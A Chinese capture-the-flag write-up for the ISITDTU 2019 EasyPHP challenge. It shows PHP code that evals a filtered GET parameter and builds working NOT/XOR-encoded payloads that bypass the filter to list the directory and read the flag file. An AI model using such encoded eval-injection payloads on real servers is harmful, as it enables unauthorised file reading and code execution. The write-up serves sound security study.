<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

看看除了正则过滤掉的,还有哪些字符可以用:

<?php
for($i=0;$i<=127;$i++){
    if ( !preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i',chr($i)) ){
        echo chr($i);
    }
}
?>

得到:

!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~

接下来分析第二个if:

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )

count_chars返回字符串所用字符的信息:

<?php
$_ = "shawroooot";
echo strlen(count_chars(strtolower($_), 0x3));
//返回7
?>

也就是说,第二个if判断输入的值的字符种类不能超过13(0xd)。

因为“~”没有被过滤,尝试用取反拼出phpinfo():

<?php
$str = "p h p i n f o";
$arr1 = explode(' ', $str);
echo "~";
foreach ($arr1 as $key => $value) {
    echo "%".bin2hex(~$value);
}
?>

成功拼出:

(~%8f%97%8f%96%91%99%90)();

接下来查看被ban掉的函数有哪些:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,

没有屏蔽print_r()和scandir(),可以打组合拳对系统目录和文件进行查看,但是还要考虑字符种类不能超过13的这个限制:

<?php
$_ = "print_r(scandir('.'));";
echo strlen(count_chars(strtolower($_), 0x3));
//返回15
?>

这里总共有15个字符,接下来需要考虑的就是看看哪些字符可以被替代的问题。

print_r用异或表示即:

<?php
echo urlencode('print_r' ^ urldecode('%ff%ff%ff%ff%ff%ff%ff'));
//%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff

scandir(.)用异或表示即

<?php
$a =  urlencode('scandir' ^ urldecode('%ff%ff%ff%ff%ff%ff%ff'));
$b = urlencode('.' ^ urldecode('%ff'));
echo $a.'^%ff%ff%ff%ff%ff%ff%ff'.'('.$b.'^%ff'.')';
//%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff(%D1^%ff)

合起来qwq:

((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))(((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff))(%D1^%ff));

查找可以被代替的字符:

a = c^p^r
d = s^c^t
n = i^s^t

分别和%ff异或:

<?php
$dic = 'c p r s t i';
$arr1 = explode(' ', $dic);
foreach ($arr1 as $key => $value) {
    echo "$value = ".urlencode($value ^ urldecode('%ff'))."</br>";
}

得到:

c = %9C

p = %8F

r = %8D

s = %8C

t = %8B

i = %96

因此,print_r(scandir(.))可以表示为:

((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));

将其传入得到当前目录的文件:

Array ( [0] => . [1] => .. [2] => index.php [3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )

使用end()可以返回数组的最后一项:

构造readfile(end(scandir(.)))即可。

可以被替代的字符:

r = s^d^e
f = c^l^i
n = c^l^a

分别和%ff异或:

<?php
$dic = 'd e l a';
$arr1 = explode(' ', $dic);
foreach ($arr1 as $key => $value) {
    echo "$value = ".urlencode($value ^ urldecode('%ff'))."</br>";
}

得到:

d = %9B
e = %9A
l = %93
a = %9E

readfile用异或表示即:

(%8c%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff)

end用异或表示即:

(%9A%91%9B)^(%ff%ff%ff)

因此,readfile(end(scandir(.)))正常合起来,又经过替代后可得:

((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));

太墨迹了这b题,我没了。

⚪参考:

https://tiaonmmn.github.io/2019/07/18/ISITDTU-Easy-PHP/

https://www.neepusec.club/Blog/index.php/Blog/show?pid=[ISITDTU%202019]EasyPHP